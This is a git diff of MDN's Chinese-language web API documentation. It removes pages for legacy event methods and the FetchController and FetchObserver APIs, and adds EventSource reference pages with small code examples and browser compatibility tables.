
浏览器兼容性

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(53.0)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatChrome(53.0)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatChrome(53.0)}}
-
diff --git "a/files/zh-cn/web/api/event/\347\246\201\347\224\250\346\227\266\351\227\264\345\206\222\346\263\241/index.html" "b/files/zh-cn/web/api/event/\347\246\201\347\224\250\346\227\266\351\227\264\345\206\222\346\263\241/index.html" deleted file mode 100644 index c228d329d6..0000000000 --- "a/files/zh-cn/web/api/event/\347\246\201\347\224\250\346\227\266\351\227\264\345\206\222\346\263\241/index.html" +++ /dev/null @@ -1,93 +0,0 @@ ---- -title: Event.cancelBubble -slug: Web/API/Event/禁用时间冒泡 -tags: - - 事件 -translation_of: Web/API/Event/cancelBubble ---- -

{{APIRef("DOM Events")}} 

- -

Event.cancelBubble 属性是 {{domxref("Event.stopPropagation()")}}的一个曾用名。在从事件处理程序返回之前将其值设置为true可阻止事件的传播。

- -

语法

- -
event.cancelBubble = bool;
-let bool = event.cancelBubble;
- -

用例

- -
-
-
ele.onclick = function(e) {
-  // 在这儿可以做点儿有趣的事情
-  e.cancelBubble = true;
-}
-
-
- -

规范

- -

这个属性的规范并未统一. 因为他还有其他标准 W3C版: an old Working Draft of W3C DOM Level 2. 微软版: description of it on MSDN.

- -

浏览器兼容

- -

{{ CompatibilityTable() }}

- -
- - - - - - - - - - - - - - - - - - - - - - - -
FeatureFirefox (Gecko)ChromeEdgeInternet ExplorerMicrosoft EdgeOperaSafari
Basic support{{ CompatNo() }}{{ CompatVersionUnknown() }}{{CompatVersionUnknown}}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
-
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureFirefox Mobile (Gecko)AndroidEdgeIE MobileOpera MobileSafari Mobile
Basic support{{ CompatUnknown() }}{{ CompatUnknown() }}{{CompatVersionUnknown}}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
-
- -

参考

- -
    -
  • {{domxref("UIEvent.cancelBubble")}}
  • -
  • translated by cnvoid
  • -
diff --git a/files/zh-cn/web/api/eventsource/close/index.html b/files/zh-cn/web/api/eventsource/close/index.html new file mode 100644 index 0000000000..3b8af5d6d3 --- /dev/null +++ b/files/zh-cn/web/api/eventsource/close/index.html @@ -0,0 +1,138 @@ +--- +title: EventSource.close() +slug: Server-sent_events/EventSource/close +translation_of: Web/API/EventSource/close +--- +
{{APIRef('WebSockets API')}}
+ +
 
+ +

{{domxref("EventSource")}} 的方法close()用于关闭当前的连接,如果调用了此方法,则会将{{domxref("EventSource.readyState")}}这个属性值设置为 2 (closed)

+ +
+

Note: 如果连接已经被关闭,此方法不会做任何事情

+
+ +

语法

+ +
eventSource.close();
+ +

参数

+ +

None.

+ +

返回值

+ +

Void.

+ +

例子

+ +
var button = document.querySelector('button');
+var evtSource = new EventSource('sse.php');
+
+button.onclick = function() {
+  console.log('Connection closed');
+  evtSource.close();
+}
+
+ +
+

Note: 你可以在Github上查看这整个例子: Simple SSE demo using PHP.

+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "comms.html#dom-eventsource-close", "close()")}}{{Spec2('HTML WHATWG')}}Initial definition
+ +
    +
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
EventSource support6{{CompatNo}}{{CompatGeckoDesktop("6.0")}}{{CompatNo}}{{CompatVersionUnknown}}5
Available in shared and dedicated workers[1]{{CompatVersionUnknown}}{{CompatNo}}{{CompatGeckoDesktop("53.0")}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
EventSource support4.445{{CompatNo}}124.1
Available in shared and dedicated workers[1]{{CompatVersionUnknown}}{{CompatGeckoMobile("53.0")}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

[1] But not service workers as yet.

+ +

相关链接

+ +
    +
  • {{domxref("EventSource")}}
  • +
diff --git a/files/zh-cn/web/api/eventsource/eventsource/index.html b/files/zh-cn/web/api/eventsource/eventsource/index.html new file mode 100644 index 0000000000..a93b5eb8b2 --- /dev/null +++ b/files/zh-cn/web/api/eventsource/eventsource/index.html @@ -0,0 +1,149 @@ +--- +title: EventSource() +slug: Server-sent_events/EventSource/EventSource +tags: + - API + - EventSource + - Server-sent events +translation_of: Web/API/EventSource/EventSource +--- +

{{APIRef('WebSockets API')}}

+ +

EventSource() 构造函数返回一个新建的{{domxref("EventSource")}},它代表了一个远程资源。

+ +

语法

+ +
pc = new EventSource(url, configuration);
+ +

参数

+ +
+
url
+
 一个{{domxref("USVString")}} ,它代表远程资源的位置
+
configuration {{optional_inline}}
+
为配置新连接提供选项。可选项是: +
    +
  • withCredentials,默认为 false,指示 CORS 是否应包含凭据( credentials )。
  • +
+
+
+ +

返回值

+ +

 一个新建的 {{domxref("EventSource")}} 对象,如果指定了configuration, 则按其配置;否则,配置为合适的基本默认值。

+ + + +

示例

+ + + +
var evtSource = new EventSource('sse.php');
+var eventList = document.querySelector('ul');
+
+evtSource.onmessage = function(e) {
+  var newElement = document.createElement("li");
+
+  newElement.textContent = "message: " + e.data;
+  eventList.appendChild(newElement);
+}
+ +
+

笔记: 你可以在 GitHub 查看完整示例 — 请查看 Simple SSE demo using PHP.

+
+ + + + + +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "comms.html#dom-eventsource", "EventSource()")}}{{Spec2('HTML WHATWG')}}Initial definition
+ +
    +
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
 Basic support9{{ CompatGeckoDesktop("6.0") }}{{CompatUnknown}}115
CORS support (withCredentials)26{{ CompatGeckoDesktop("11.0") }}{{CompatUnknown}}12{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatAndroid("4.4") }}{{ CompatGeckoMobile("6.0") }}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
CORS support (withCredentials){{CompatUnknown}}{{ CompatGeckoMobile("11.0") }}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

相关链接

+ +
    +
  • {{domxref("EventSource")}}
  • +
diff --git a/files/zh-cn/web/api/eventsource/index.html b/files/zh-cn/web/api/eventsource/index.html new file mode 100644 index 0000000000..977bf56d90 --- /dev/null +++ b/files/zh-cn/web/api/eventsource/index.html @@ -0,0 +1,155 @@ +--- +title: EventSource +slug: Server-sent_events/EventSource +tags: + - API + - Server-sent events + - 参考 +translation_of: Web/API/EventSource +--- +

{{APIRef("Websockets API")}}

+ +

EventSource 是服务器推送的一个网络事件接口。一个EventSource实例会对HTTP服务开启一个持久化的连接,以text/event-stream 格式发送事件, 会一直保持开启直到被要求关闭。

+ +

一旦连接开启,来自服务端传入的消息会以事件的形式分发至你代码中。如果接收消息中有一个事件字段,触发的事件与事件字段的值相同。如果没有事件字段存在,则将触发通用事件。

+ +

与 WebSockets,不同的是,服务端推送是单向的。数据信息被单向从服务端到客户端分发. 当不需要以消息形式将数据从客户端发送到服务器时,这使它们成为绝佳的选择。例如,对于处理社交媒体状态更新,新闻提要或将数据传递到客户端存储机制(如IndexedDB或Web存储)之类的,EventSource无疑是一个有效方案。

+ +

构造函数

+ +
+
{{domxref("EventSource.EventSource", "EventSource()")}}
+
以指定的 {{domxref("USVString")}} 创建一个新的 EventSource
+
+ +

属性

+ +

此接口从其父接口 {{domxref("EventTarget")}} 继承属性。

+ +
+
{{domxref("EventSource.onerror")}}
+
是一个 {{domxref("EventHandler")}},当发生错误时被调用,并且在此对象上派发 {{event("error")}} 事件。
+
{{domxref("EventSource.onmessage")}}
+
是一个 {{domxref("EventHandler")}},当收到一个 {{event("message")}} 事件,即消息来自源头时被调用。
+
{{domxref("EventSource.onopen")}}
+
是一个 {{domxref("EventHandler")}},当收到一个 {{event(" open ")}} 事件,即连接刚打开时被调用。
+
{{domxref("EventSource.readyState")}} {{readonlyinline}}
+
一个 unsigned short 值,代表连接状态。可能值是 CONNECTING (0), OPEN (1), 或者 CLOSED (2)。
+
{{domxref("EventSource.url")}} {{readonlyinline}}
+
一个{{domxref("DOMString")}},代表事件源的 URL。
+
+ +

事件接收器

+ +
+
{{domxref("EventSource.onerror")}}
+
Is an {{domxref("EventHandler")}} called when an error occurs and the {{domxref("EventSource/error_event", "error")}} event is dispatched on an EventSource object.
+
{{domxref("EventSource.onmessage")}}
+
Is an {{domxref("EventHandler")}} called when a {{domxref("EventSource/message_event", "message")}} event is received, that is when a message is coming from the source.
+
{{domxref("EventSource.onopen")}}
+
Is an {{domxref("EventHandler")}} called when an {{domxref("EventSource/open_event", "open")}} event is received, that is when the connection was just opened.
+
+ +

方法

+ +

此接口从其父接口 {{domxref("EventTarget")}} 继承方法。

+ +
+
{{domxref("EventSource.close()")}}
+
如果存在,则关闭连接,并且设置 readyState 属性为 CLOSED。如果连接已经被关闭,此方法不会再进行任何操作。
+
+ +

事件

+ +
+
{{domxref("EventSource/error_event", "error")}}
+
Fired when a connection to an event source failed to open.
+
{{domxref("EventSource/message_event", "message")}}
+
Fired when data is received from an event source.
+
{{domxref("EventSource/open_event", "open")}}
+
Fired when a connection to an event source has opened.
+
+ +

Additionally, the event source itself may send messages with an event field, which will create ad-hoc events keyed to that value.

+ +

示例

+ +

In this basic example, an EventSource is created to receive unnamed events from the server; a page with the name sse.php is responsible for generating the events.

+ +
var evtSource = new EventSource('sse.php');
+var eventList = document.querySelector('ul');
+
+evtSource.onmessage = function(e) {
+  var newElement = document.createElement("li");
+
+  newElement.textContent = "message: " + e.data;
+  eventList.appendChild(newElement);
+}
+ +

Each received event causes our EventSource object's onmessage event handler to be run. It, in turn, creates a new {{HTMLElement("li")}} element and writes the message's data into it, then appends the new element to the list element already in the document.

+ +
+

Note: You can find a full example on GitHub — see Simple SSE demo using PHP.

+
+ +

To listen to named events, you'll require a listener for each type of event sent.

+ +
  const sse = new EventSource('/api/v1/sse');
+
+  /* This will listen only for events
+   * similar to the following:
+   *
+   * event: notice
+   * data: useful data
+   * id: someid
+   *
+   */
+  sse.addEventListener("notice", function(e) {
+    console.log(e.data)
+  })
+
+  /* Similarly, this will listen for events
+   * with the field `event: update`
+   */
+  sse.addEventListener("update", function(e) {
+    console.log(e.data)
+  })
+
+  /* The event "message" is a special case, as it
+   * will capture events without an event field
+   * as well as events that have the specific type
+   * `event: message` It will not trigger on any
+   * other event type.
+   */
+  sse.addEventListener("message", function(e) {
+    console.log(e.data)
+  })
+  
+ +

规范

+ + + + + + + + + + + + +
规范状态
{{SpecName('HTML WHATWG', "comms.html#the-eventsource-interface", "EventSource")}}{{Spec2('HTML WHATWG')}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.EventSource")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/eventsource/onerror/index.html b/files/zh-cn/web/api/eventsource/onerror/index.html new file mode 100644 index 0000000000..ad24259a4e --- /dev/null +++ b/files/zh-cn/web/api/eventsource/onerror/index.html @@ -0,0 +1,122 @@ +--- +title: EventSource.onerror +slug: Server-sent_events/EventSource/onerror +translation_of: Web/API/EventSource/onerror +--- +
{{APIRef('WebSockets API')}}
+ +
 
+ + +

{{domxref("EventSource")}} 的属性 onerror 是当发生错误且这个错误事件({{event("error")}} )被EventSource触发时调用的一个事件处理函数({{domxref("EventHandler")}})

+ +

语法

+ +
eventSource.onerror = function
+ +

例子

+ +
evtSource.onerror = function() {
+  console.log("EventSource failed.");
+};
+ +
+

Note: 你可以在Github上查看这个完整例子: Simple SSE demo using PHP.

+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "comms.html#handler-eventsource-onerror", "onerror")}}{{Spec2('HTML WHATWG')}}Initial definition
+ +
    +
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
EventSource support6{{CompatNo}}{{CompatGeckoDesktop("6.0")}}{{CompatNo}}{{CompatVersionUnknown}}5
Available in shared and dedicated workers[1]{{CompatVersionUnknown}}{{CompatNo}}{{CompatGeckoDesktop("53.0")}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
EventSource support4.445{{CompatNo}}124.1
Available in shared and dedicated workers[1]{{CompatVersionUnknown}}{{CompatGeckoMobile("53.0")}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

[1] But not service workers as yet.

+ +

相关链接

+ +
    +
  • {{domxref("EventSource")}}
  • +
diff --git a/files/zh-cn/web/api/eventsource/onopen/index.html b/files/zh-cn/web/api/eventsource/onopen/index.html new file mode 100644 index 0000000000..dfc47bbf4e --- /dev/null +++ b/files/zh-cn/web/api/eventsource/onopen/index.html @@ -0,0 +1,123 @@ +--- +title: EventSource.onopen +slug: Server-sent_events/EventSource/onopen +tags: + - API + - Event Handler + - EventSource +translation_of: Web/API/EventSource/onopen +--- +
{{APIRef('WebSockets API')}}
+ +

{{domxref("EventSource")}}接口的 onopen 属性是一个 {{domxref("EventHandler")}} ,它在收到{{event("open")}} 事件时被调用,在那时,连接刚被打开。

+ +

语法

+ +
eventSource.onopen = function
+ +

示例

+ +
evtSource.onopen = function() {
+  console.log("Connection to server opened.");
+};
+ +
+

注意 :你可以在 GitHub 上看到一个完整的示例— 请看 使用php的SSE(服务器发送事件)demo。

+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "comms.html#handler-eventsource-onopen", "onopen")}}{{Spec2('HTML WHATWG')}}Initial definition
+ +
    +
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
支持EventSource6{{CompatNo}}{{CompatGeckoDesktop("6.0")}}{{CompatNo}}{{CompatVersionUnknown}}5
在共享和专用的 workers上可用[1]{{CompatVersionUnknown}}{{CompatNo}}{{CompatGeckoDesktop("53.0")}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
支持EventSource4.445{{CompatNo}}124.1
在共享和专用的 workers上可用 [1]{{CompatVersionUnknown}}{{CompatGeckoMobile("53.0")}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

[1] 但 目前不能在service workers上使用.

+ +

相关链接

+ +
    +
  • {{domxref("EventSource")}}
  • +
diff --git a/files/zh-cn/web/api/eventtarget/attachevent/index.html b/files/zh-cn/web/api/eventtarget/attachevent/index.html deleted file mode 100644 index f637813381..0000000000 --- a/files/zh-cn/web/api/eventtarget/attachevent/index.html +++ /dev/null @@ -1,9 +0,0 @@ ---- -title: 为这个EventTarget附加事件. -slug: Web/API/EventTarget/attachEvent -tags: - - Junk -translation_of: Web/API/EventTarget/addEventListener -translation_of_original: Web/API/EventTarget/attachEvent ---- -

{{DOMxRef("EventTarget.addEventListener","EventTarget.addEventListener()")}}

diff --git a/files/zh-cn/web/api/eventtarget/detachevent/index.html b/files/zh-cn/web/api/eventtarget/detachevent/index.html deleted file mode 100644 index 3b4cbcfd90..0000000000 --- a/files/zh-cn/web/api/eventtarget/detachevent/index.html +++ /dev/null @@ -1,97 +0,0 @@ ---- -title: EventTarget.detachEvent() -slug: Web/API/EventTarget/detachEvent -tags: - - API - - DOM - - Method - - Non-standard -translation_of: Web/API/EventTarget/removeEventListener -translation_of_original: Web/API/EventTarget/detachEvent ---- -

{{APIRef("DOM Events")}}

- -

{{ Non-standard_header() }}

- -

简介

- -

这是Microsoft Internet Explorer专有的用于替代标准的 {{domxref("EventTarget.removeEventListener()")}} 的方法。

- -

语法

- -
target.detachEvent(eventNameWithOn, callback)
-
- -
-
target
-
将要移除事件的DOM节点
-
eventNameWithOn
-
将要移除的事件名,以“on”为前缀(例如它是一个事件处理程序)。 例如,您可以使用“onclick”移除点击事件的事件处理程序。
-
callback
-
注销事件后的回调函数
-
- -

详细

- -

任何规范没有此部分。

- -

微软在 MSDN 上有相关描述。

- -

浏览器兼容性

- -

{{ CompatibilityTable() }}

- -
- - - - - - - - - - - - - - - - - - - -
特征ChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{ CompatNo() }}{{ CompatNo() }}6 至 10 [1]{{ CompatUnknown() }}{{ CompatNo() }}
-
- -
- - - - - - - - - - - - - - - - - - - -
特征AndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{ CompatNo() }}{{ CompatNo() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatNo() }}
-
- -

[1]: detachEvent() 在 IE11+ 中不再支持。 {{domxref("EventTarget.removeEventListener()")}} 在 IE9+ 中支持。

- -

See also

- -
    -
  • {{ domxref("EventTarget.attachEvent()") }}
  • -
  • {{ domxref("EventTarget.fireEvent()") }}
  • -
diff --git a/files/zh-cn/web/api/eventtarget/fireevent/index.html b/files/zh-cn/web/api/eventtarget/fireevent/index.html deleted file mode 100644 index edc74b2306..0000000000 --- a/files/zh-cn/web/api/eventtarget/fireevent/index.html +++ /dev/null @@ -1,93 +0,0 @@ ---- -title: EventTarget.fireEvent() -slug: Web/API/EventTarget/fireEvent -translation_of: Web/API/EventTarget/dispatchEvent -translation_of_original: Web/API/EventTarget/fireEvent ---- -

{{APIRef("DOM Events")}}

- -

{{ Non-standard_header() }}

- -

概述

- -

这是微软IE浏览器用以替代{{domxref("EventTarget.dispatchEvent()")}}的私有方法,与{{domxref("EventTarget.dispatchEvent()")}}不同的是通过fireEvent() 触发的事件不会触发事件的默认行为,例如,通过fireEvent()触发<input type="checkbox">的点击事件并不会切换checkbox的选中状态

- -

语法

- -
cancelled = target.fireEvent(eventNameWithOn, event)
-
- -
-
target
-
要触发事件的元素
-
eventNameWithOn
-
要触发事件的名字,前缀为“on”,例如,可以用过"onclick"来触发点击事件
-
event
-
要触发的事件对象
-
cancelled
-
布尔值,事件是否被事件句柄取消
-
- -

规范

- -

无此部分的规范

- -

微软的描述: has a description on MSDN.

- -

浏览器兼容性

- -

{{ CompatibilityTable() }}

- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{ CompatNo() }}{{ CompatNo() }}6 到 10 [1]{{ CompatUnknown() }}{{ CompatNo() }}
-
- -
- - - - - - - - - - - - - - - - - - - -
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{ CompatNo() }}{{ CompatNo() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatNo() }}
-
- -

[1]: fireEvent()在IE11+已经不再支持,{{domxref("EventTarget.dispatchEvent()")}}在IE9+已经支持

- -

相关链接

- - diff --git a/files/zh-cn/web/api/fetchcontroller/abort/index.html b/files/zh-cn/web/api/fetchcontroller/abort/index.html deleted file mode 100644 index d661e73d2b..0000000000 --- a/files/zh-cn/web/api/fetchcontroller/abort/index.html +++ /dev/null @@ -1,85 +0,0 @@ ---- -title: AbortController.abort() -slug: Web/API/FetchController/abort -translation_of: Web/API/AbortController/abort ---- -
{{APIRef("DOM")}}{{SeeCompatTable}}
- -

The abort() method of the {{domxref("AbortController")}} interface aborts a DOM request (e.g. a Fetch request) before it has completed. This is able to abort fetch requests, consumption of any response {{domxref("Body")}}, and streams.

- -

Syntax

- -
controller.abort();
- -

Parameters

- -

None.

- -

Return value

- -

Void.

- -

Examples

- -

In the following snippet, we aim to download a video using the Fetch API.

- -

We first create a controller using the {{domxref("AbortController.AbortController","AbortController()")}} constructor, then grab a reference to its associated {{domxref("AbortSignal")}} object using the {{domxref("AbortController.signal")}} property.

- -

When the fetch request is initiated, we pass in the AbortSignal as an option inside the request's options object (see {signal}, below). This associates the signal and controller with the fetch request and allows us to abort it by calling {{domxref("AbortController.abort()")}}, as seen below in the second event listener.

- -
var controller = new AbortController();
-var signal = controller.signal;
-
-var downloadBtn = document.querySelector('.download');
-var abortBtn = document.querySelector('.abort');
-
-downloadBtn.addEventListener('click', fetchVideo);
-
-abortBtn.addEventListener('click', function() {
-  controller.abort();
-  console.log('Download aborted');
-});
-
-function fetchVideo() {
-  ...
-  fetch(url, {signal}).then(function(response) {
-    ...
-  }).catch(function(e) {
-    reports.textContent = 'Download error: ' + e.message;
-  })
-}
- -
-

Note: When abort() is called, the fetch() promise rejects with an AbortError.

-
- -

You can find a full working example on GitHub — see abort-api (see it running live also).

- -

Specifications

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#dom-abortcontroller-abort', 'abort()')}}{{Spec2('DOM WHATWG')}}Initial definition
- -

Browser compatibility

- - - -

{{Compat("api.AbortController.abort")}}

- -

See also

- - diff --git a/files/zh-cn/web/api/fetchcontroller/abortcontroller/index.html b/files/zh-cn/web/api/fetchcontroller/abortcontroller/index.html deleted file mode 100644 index 35fe67d1ae..0000000000 --- a/files/zh-cn/web/api/fetchcontroller/abortcontroller/index.html +++ /dev/null @@ -1,85 +0,0 @@ ---- -title: AbortController.AbortController() -slug: Web/API/FetchController/AbortController -tags: - - AbortController - - Constructor - - Fetch -translation_of: Web/API/AbortController/AbortController ---- -
{{APIRef("DOM")}}{{SeeCompatTable}}
- -

AbortController() 构造函数创建了一个新的AbortController实例

- -

Syntax

- -
var controller = new AbortController();
- -

Parameters

- -

无.

- -

Examples

- -

在下面的这段代码中, 我们将通过Fetch API来下载一段视频.

- -

首先通过{{domxref("AbortController.AbortController","AbortController()")}} 构造函数来创建一个controller实例, 然后通过{{domxref("AbortController.signal")}} 属性获取到它的关联对象{{domxref("AbortSignal")}} 的引用.

- -

当 fetch request 初始化后, 将 AbortSignal 作为一个选项传入请求的选项参数中 (如下 {signal}). 这将signal,controller与fetch请求关联起来, 允许我们通过调用{{domxref("AbortController.abort()")}}来取消fetch请求, 正如下第二个事件监听器所示.

- -
var controller = new AbortController();
-var signal = controller.signal;
-
-var downloadBtn = document.querySelector('.download');
-var abortBtn = document.querySelector('.abort');
-
-downloadBtn.addEventListener('click', fetchVideo);
-
-abortBtn.addEventListener('click', function() {
-  controller.abort();
-  console.log('Download aborted');
-});
-
-function fetchVideo() {
-  ...
-  fetch(url, {signal}).then(function(response) {
-    ...
-  }).catch(function(e) {
-    reports.textContent = 'Download error: ' + e.message;
-  })
-}
- -
-

提示: 当abort() 被调用,  fetch() promise 将会抛出一个AbortError对象.

-
- -

你可以在GitHub上找到一个完整的使用示例 — see abort-api (see it running live also).

- -

Specifications

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#dom-abortcontroller-abortcontroller', 'AbortController()')}}{{Spec2('DOM WHATWG')}}Initial definition
- -

Browser compatibility

- - - -

{{Compat("api.AbortController.AbortController")}}

- -

See also

- - diff --git a/files/zh-cn/web/api/fetchcontroller/index.html b/files/zh-cn/web/api/fetchcontroller/index.html deleted file mode 100644 index 4211eb8211..0000000000 --- a/files/zh-cn/web/api/fetchcontroller/index.html +++ /dev/null @@ -1,106 +0,0 @@ ---- -title: AbortController -slug: Web/API/FetchController -tags: - - API - - AbortController - - Fetch - - how to cancel a fetch request -translation_of: Web/API/AbortController ---- -
{{APIRef("DOM")}}{{SeeCompatTable}}
- -

AbortController接口表示一个控制器对象,允许你根据需要中止一个或多个 Web请求。

- -

你可以使用 {{domxref("AbortController.AbortController()")}} 构造函数创建一个新的 AbortController 。使用{{domxref("AbortSignal")}} 对象可以完成与与DOM请求的通信。

- -

构造函数

- -
-
{{domxref("AbortController.AbortController()")}}
-
创建一个新的AbortController 对象实例。
-
- -

属性

- -
-
{{domxref("AbortController.signal")}} {{readonlyInline}}
-
返回一个{{domxref("AbortSignal")}}对象实例,它可以用来 with/abort 一个Web(网络)请求。
-
- -

方法

- -
-
{{domxref("AbortController.abort()")}}
-
中止一个尚未完成的Web(网络)请求。这能够中止fetch 请求,任何响应{{domxref("Body")}}的消费者和流。
-
- -

示例

- -

在下面的代码片段中,我们想通过 Fetch API 下载一段视频。

- -

我们先使用{{domxref("AbortController.AbortController","AbortController()")}}构造函数创建一个控制器,然后使用{{domxref("AbortController.signal")}}属性获取其关联 {{domxref("AbortSignal")}}对象的引用。

- -

当一个 fetch request 初始化,我们把 AbortSignal 作为一个选项传递到到请求对象(如下 {signal})。这将信号和控制器与获取请求相关联然后允许我们通过调用{{domxref("AbortController.abort()")}}中止请求,如下第二个事件监听函数。

- -
const controller = new AbortController();
-let signal = controller.signal;
-
-const downloadBtn = document.querySelector('.download');
-const abortBtn = document.querySelector('.abort');
-
-downloadBtn.addEventListener('click', fetchVideo);
-
-abortBtn.addEventListener('click', function() {
-  controller.abort();
-  console.log('Download aborted');
-});
-
-function fetchVideo() {
-  //...
-  fetch(url, {signal}).then(function(response) {
-    //...
-  }).catch(function(e) {
-    reports.textContent = 'Download error: ' + e.message;
-  })
-}
- -
-

注意:abort() 被调用时,fetch() promise 拒绝一个名为 AbortError 的DOMException

-
- -

可以在GitHub上找到完整的工作示例 — 请参见 abort-api另请参见实时运行)。

- -

规范

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#interface-abortcontroller', 'AbortController')}}{{Spec2('DOM WHATWG')}}Initial definition
- -

浏览器兼容

- - - -

{{Compat("api.AbortController")}}

- -

参见

- - - -
-
-
diff --git a/files/zh-cn/web/api/fetchobserver/index.html b/files/zh-cn/web/api/fetchobserver/index.html deleted file mode 100644 index 9bd7699388..0000000000 --- a/files/zh-cn/web/api/fetchobserver/index.html +++ /dev/null @@ -1,145 +0,0 @@ ---- -title: FetchObserver -slug: Web/API/FetchObserver -translation_of: Web/API/FetchObserver ---- -
{{draft}}{{APIRef("Fetch API")}}{{SeeCompatTable}}
- -

FetchObserver接口提取API表示观察者对象,它允许您检索关于为获取请求的状态信息。

- -

Properties

- -

FetchObserver接口从其父接口继承属性EventTarget

- -
-
{{domxref("FetchObserver.state")}} {{readonlyInline}}
-
Returns a FetchState enum value indicating the current state of the fetch request.
-
- -

Event handlers

- -
-
{{domxref("FetchObserver.onstatechange")}}
-
Invoked when a {{event("statechange_(cancellable_fetch)", "statechange")}} event fires, i.e. when the state of the fetch request changes.
-
{{domxref("FetchObserver.onrequestprogress")}}
-
Invoked when a {{event("requestprogress")}} event fires, i.e. when the request progresses.
-
{{domxref("FetchObserver.onresponseprogress")}}
-
Invoked when a {{event("responseprogress")}} event fires, i.e. when the download of the response progresses.
-
- -

Methods

- -

The FetchSignal interface inherits methods from its parent interface, {{domxref("EventTarget")}}.

- -

Examples

- -

In the following snippet, we create a new {{domxref("FetchController")}} object, get its signal, and then give the signal to the fetch request via the signal parameter of its init object so the controller can control it. Later on we specify an event listener on a cancel button so that when the button is clicked, we abort the fetch request using {{domxref("FetchController.abort()")}}.

- -

We also specify an observe property inside the fetch request init object — this contains a {{domxref("ObserverCallback")}} object, the sole purpose of which is to provide a callback function that runs when the fetch request runs. This returns a {{domxref("FetchObserver")}} object that can be used to retrieve information concerning the status of a fetch request.

- -

Here we use {{domxref("FetchController.responseprogress")}} and {{domxref("FetchController.onstatechange")}} event handlers to respectively fill up a progress bar as more of the reponse downloads, and to determine when the download has completed and display a message to let the user know.

- -

Note that these event handlers are not yet supported anywhere.

- -
var controller = new FetchController();
-var signal = controller.signal;
-
-downloadBtn.addEventListener('click', function() {
-  fetch(url, {
-    signal,
-    observe(observer) {
-      observer.onresponseprogress = function(e) {
-        progress.max = e.total;
-        progress.value = e.loaded;
-      }
-
-      observer.onstatechange = function() {
-        if (observer.state = 'complete') {
-          reports.textContent = 'Download complete';
-        }
-      }
-    }
-  }).then( ... ) // do something with the response
-});
-
-cancelBtn.addEventListener('click', function() {
-  controller.abort();
-});
- -

You can find a work-in-progress demo showing usage of FetchObserver on GitHub (see the source code and the live example).

- -

Specifications

- -

Not part of a specification yet.

- -

Browser compatibility

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support -

{{CompatNo}}

-
{{CompatNo}}{{CompatNo}}[1]{{CompatNo}} -

{{CompatNo}}

-
{{CompatNo}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - -
